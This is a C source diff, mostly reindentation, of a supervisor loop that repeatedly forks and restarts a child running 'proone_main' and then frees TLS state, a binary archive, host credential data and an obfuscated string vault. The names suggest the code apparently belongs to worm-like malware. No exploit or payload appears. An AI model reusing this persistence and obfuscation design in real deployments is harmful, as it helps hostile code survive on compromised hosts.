-        if (prne_g.proone_pid > 0) {
-            static int status;
-
-            while (prne_g.caught_signal == 0) {
-                if (waitpid(prne_g.proone_pid, &status, 0) < 0) {
-                    if (errno != EINTR) {
-                        abort();
-                    }
-                    else {
-                        continue;
-                    }
-                }
-                break;
-            }
-
-            if (WIFEXITED(status)) {
-                if (WEXITSTATUS(status) == 0) {
-                    break;
-                }
+	setup_signal_actions();
+
+	// main loop
+	while (prne_g.caught_signal == 0) {
+		prne_g.proone_pid = fork();
+
+		if (prne_g.proone_pid >= 0) {
+			prne_g.run_cnt += 1;
+		}
+
+		if (prne_g.proone_pid > 0) {
+			static int status;
+
+			while (prne_g.caught_signal == 0) {
+				if (waitpid(prne_g.proone_pid, &status, 0) < 0) {
+					if (errno != EINTR) {
+						abort();
+					}
+					else {
+						continue;
+					}
+				}
+				break;
+			}
+
+			if (WIFEXITED(status)) {
+				if (WEXITSTATUS(status) == 0) {
+					break;
+				}
 #ifdef PRNE_DEBUG
-                fprintf(stderr, "* child process %d exited with code %d!\n", prne_g.proone_pid, WEXITSTATUS(status));
+				fprintf(stderr, "* child process %d exited with code %d!\n", prne_g.proone_pid, WEXITSTATUS(status));
 #endif
-            }
-            else if (WIFSIGNALED(status)) {
+			}
+			else if (WIFSIGNALED(status)) {
 #ifdef PRNE_DEBUG
-                fprintf(stderr, "* child process %d received signal %d!\n", prne_g.proone_pid, WTERMSIG(status));
+				fprintf(stderr, "* child process %d received signal %d!\n", prne_g.proone_pid, WTERMSIG(status));
 #endif
-            }
-
-            sleep(1);
-        }
-        else {
-            prne_close(prne_g.lock_shm_fd);
-            prne_g.lock_shm_fd = -1;
-            prne_g.is_child = true;
-            seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY));
-        
-            exit_code = proone_main();
-            break;
-        }
-    }
-    prne_g.proone_pid = 0;
+			}
+
+			sleep(1);
+		}
+		else {
+			prne_close(prne_g.lock_shm_fd);
+			prne_g.lock_shm_fd = -1;
+			prne_g.is_child = true;
+			seed_ssl_rnd((const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY));
+		
+			exit_code = proone_main();
+			break;
+		}
+	}
+	prne_g.proone_pid = 0;
 
 END:
-    prne_free_bin_archive(&prne_g.bin_archive);
-    prne_free_unpack_bin_archive_result(&prne_g.bin_pack);
-    prne_g.bin_ready = false;
-    
-    mbedtls_ssl_config_free(&prne_g.s_ssl.conf);
-    mbedtls_x509_crt_free(&prne_g.s_ssl.crt);
-    mbedtls_pk_free(&prne_g.s_ssl.pk);
-    mbedtls_dhm_free(&prne_g.s_ssl.dhm);
-    prne_g.s_ssl.ready = false;
-    mbedtls_ssl_config_free(&prne_g.c_ssl.conf);
-    mbedtls_x509_crt_free(&prne_g.c_ssl.crt);
-    mbedtls_pk_free(&prne_g.c_ssl.pk);
-    prne_g.c_ssl.ready = false;
-    mbedtls_x509_crt_free(&prne_g.ssl.ca);
-    mbedtls_ctr_drbg_free(&prne_g.ssl.rnd);
-    mbedtls_entropy_free(&prne_g.ssl.entpy);
-
-    prne_free(prne_g.host_cred_data);
-    prne_g.host_cred_data = NULL;
-    prne_g.host_cred_size = 0;
-
-    if (prne_g.lock_shm_fd >= 0) {
-        shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL));
-        prne_dvault_reset_dict();
-        prne_close(prne_g.lock_shm_fd);
-        prne_g.lock_shm_fd = -1;
-    }
-
-    prne_deinit_dvault();
-
-    write(exit_pipe[1], &exit_code, sizeof(int));
-    prne_close(exit_pipe[0]);
-    prne_close(exit_pipe[1]);
-
-    return exit_code;
+	prne_free_bin_archive(&prne_g.bin_archive);
+	prne_free_unpack_bin_archive_result(&prne_g.bin_pack);
+	prne_g.bin_ready = false;
+	
+	mbedtls_ssl_config_free(&prne_g.s_ssl.conf);
+	mbedtls_x509_crt_free(&prne_g.s_ssl.crt);
+	mbedtls_pk_free(&prne_g.s_ssl.pk);
+	mbedtls_dhm_free(&prne_g.s_ssl.dhm);
+	prne_g.s_ssl.ready = false;
+	mbedtls_ssl_config_free(&prne_g.c_ssl.conf);
+	mbedtls_x509_crt_free(&prne_g.c_ssl.crt);
+	mbedtls_pk_free(&prne_g.c_ssl.pk);
+	prne_g.c_ssl.ready = false;
+	mbedtls_x509_crt_free(&prne_g.ssl.ca);
+	mbedtls_ctr_drbg_free(&prne_g.ssl.rnd);
+	mbedtls_entropy_free(&prne_g.ssl.entpy);
+
+	prne_free(prne_g.host_cred_data);
+	prne_g.host_cred_data = NULL;
+	prne_g.host_cred_size = 0;
+
+	if (prne_g.lock_shm_fd >= 0) {
+		shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL));
+		prne_dvault_reset_dict();
+		prne_close(prne_g.lock_shm_fd);
+		prne_g.lock_shm_fd = -1;
+	}
+
+	prne_deinit_dvault();
+
+	write(exit_pipe[1], &exit_code, sizeof(int));
+	prne_close(exit_pipe[0]);
+	prne_close(exit_pipe[1]);
+
+	return exit_code;
 }